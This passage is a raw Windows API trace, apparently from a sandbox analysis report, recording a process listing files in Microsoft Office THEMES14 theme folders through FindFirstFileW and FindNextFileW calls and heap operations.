ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.161] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.161] GetProcessHeap () returned 0x6a0000 [0170.161] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.161] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0170.161] GetProcessHeap () returned 0x6a0000 [0170.161] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.165] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.165] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.165] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0170.165] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.166] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.166] GetProcessHeap () returned 0x6a0000 [0170.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0170.166] GetProcessHeap () returned 0x6a0000 [0170.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.166] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0170.167] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.167] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.167] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.167] GetProcessHeap () returned 0x6a0000 [0170.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.167] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0170.167] GetProcessHeap () returned 0x6a0000 [0170.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.168] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.168] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.168] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.169] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.169] GetProcessHeap () returned 0x6a0000 [0170.169] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0170.169] GetProcessHeap () returned 0x6a0000 [0170.169] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.169] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.170] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0170.170] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0170.170] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.170] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.170] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.173] GetProcessHeap () returned 0x6a0000 [0170.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.173] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0170.173] GetProcessHeap () returned 0x6a0000 [0170.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.179] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.179] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.179] GetProcessHeap () returned 0x6a0000 [0170.179] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0170.179] GetProcessHeap () returned 0x6a0000 [0170.179] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, 